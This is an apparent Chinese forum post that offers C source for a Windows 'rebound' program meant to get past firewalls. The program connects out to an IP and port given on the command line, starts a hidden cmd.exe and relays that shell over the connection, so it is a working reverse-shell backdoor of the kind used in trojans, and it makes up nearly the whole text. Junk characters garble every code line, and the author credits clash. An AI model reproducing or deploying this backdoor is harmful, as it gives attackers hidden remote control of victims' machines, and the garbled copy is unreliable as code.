这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?@!dc6
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/* ============================== ~QQi{92
Rebound port in Windows NT ef *Vs
By wind,2006/7 vu Vcv
===============================*/ H}Z\r2
#include N D`?T
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#include Y`.FSs
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); __O@w.
SOCKET sClient; w7+3?'L
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OXAr..
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void main(int argc,char **argv) _[SW8 9zk
{ W"MwpV
WSADATA stWsaData; {$5?[KD
int nRet; > yk2
SOCKADDR_IN stSaiClient,stSaiServer; VB=$D|Ll
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if(argc != 3) l3[2b
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{ U|ZYoc+](
printf("Useage:\n\rRebound DestIP DestPort\n"); 2SVBuV/R
return; 3g
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} ,aq0Q<}~lc
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WSAStartup(MAKEWORD(2,2),&stWsaData); '~{bq'7`m
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u]RI,3Z
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stSaiClient.sin_family = AF_INET; #k?uY g8
stSaiClient.sin_port = htons(0); ~?E.U,R
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \2]M&n GT
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F/.nr
{ s
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printf("Bind Socket Failed!\n"); #$-{hg{
return; ]l/ PyX
} ^E-BB 6D
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stSaiServer.sin_family = AF_INET; tr?U/YG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;D'6sd"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $DS|jnpV
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Pnl+.?
{ xs?Ska,N
printf("Connect Error!"); rlMahY"C
return; aq,Ab~V]
} ~[a6
OutputShell(); v_G1YC7TU
} L/*D5k%J
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void OutputShell() 7H=V|Btnc
{ 9:9gam
char szBuff[1024]; 3:wN^!A}ve
SECURITY_ATTRIBUTES stSecurityAttributes; C6` Tck!
OSVERSIONINFO stOsversionInfo; UmEc")3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; b;xn0sDn#
STARTUPINFO stStartupInfo; r{g8CIwGQ
char *szShell; b';oFUU>Q
PROCESS_INFORMATION stProcessInformation; ~$PY6s
unsigned long lBytesRead; 8@rddk
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JiN>sEAM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; ngLpiU0H&
stSecurityAttributes.bInheritHandle = TRUE; w#qE#g %1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i0q<,VSl$_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); lD9QS ;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K&'Vd@
stStartupInfo.wShowWindow = SW_HIDE; 'Bx"i
stStartupInfo.hStdInput = hReadPipe; y
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qe[P'\]L
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GetVersionEx(&stOsversionInfo); W6^YFN
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switch(stOsversionInfo.dwPlatformId) Gg TrIF
{ 7ILb&JQ!%{
case 1: [Fk|%;B/~
szShell = "command.com"; r}nz )=\Cj
break; ~8 S2BV3@
default: eXA@J[-M:
szShell = "cmd.exe"; 8*&|Q1`K:
break; )`5=6i
} &iI5^b-P
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); SX1w5+p$C
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send(sClient,szMsg,77,0); .o(S60iH!(
while(1) Wj INY
{ s:zz8oN
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5}Z_A?gy
if(lBytesRead) 6<SX%Bc~
{ 2 Q}^<^r
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '5etZ!:
send(sClient,szBuff,lBytesRead,0); 1fMl8[!JLu
} XMlcY;W
else b|Sjh;
{ ?v,4seRuz
lBytesRead=recv(sClient,szBuff,1024,0); V:'_m'.-Y
if(lBytesRead<=0) break; i87+9X
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l1UN.l'p
} ~O8Xj6
} b wqd`C
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return; |%$mN{
}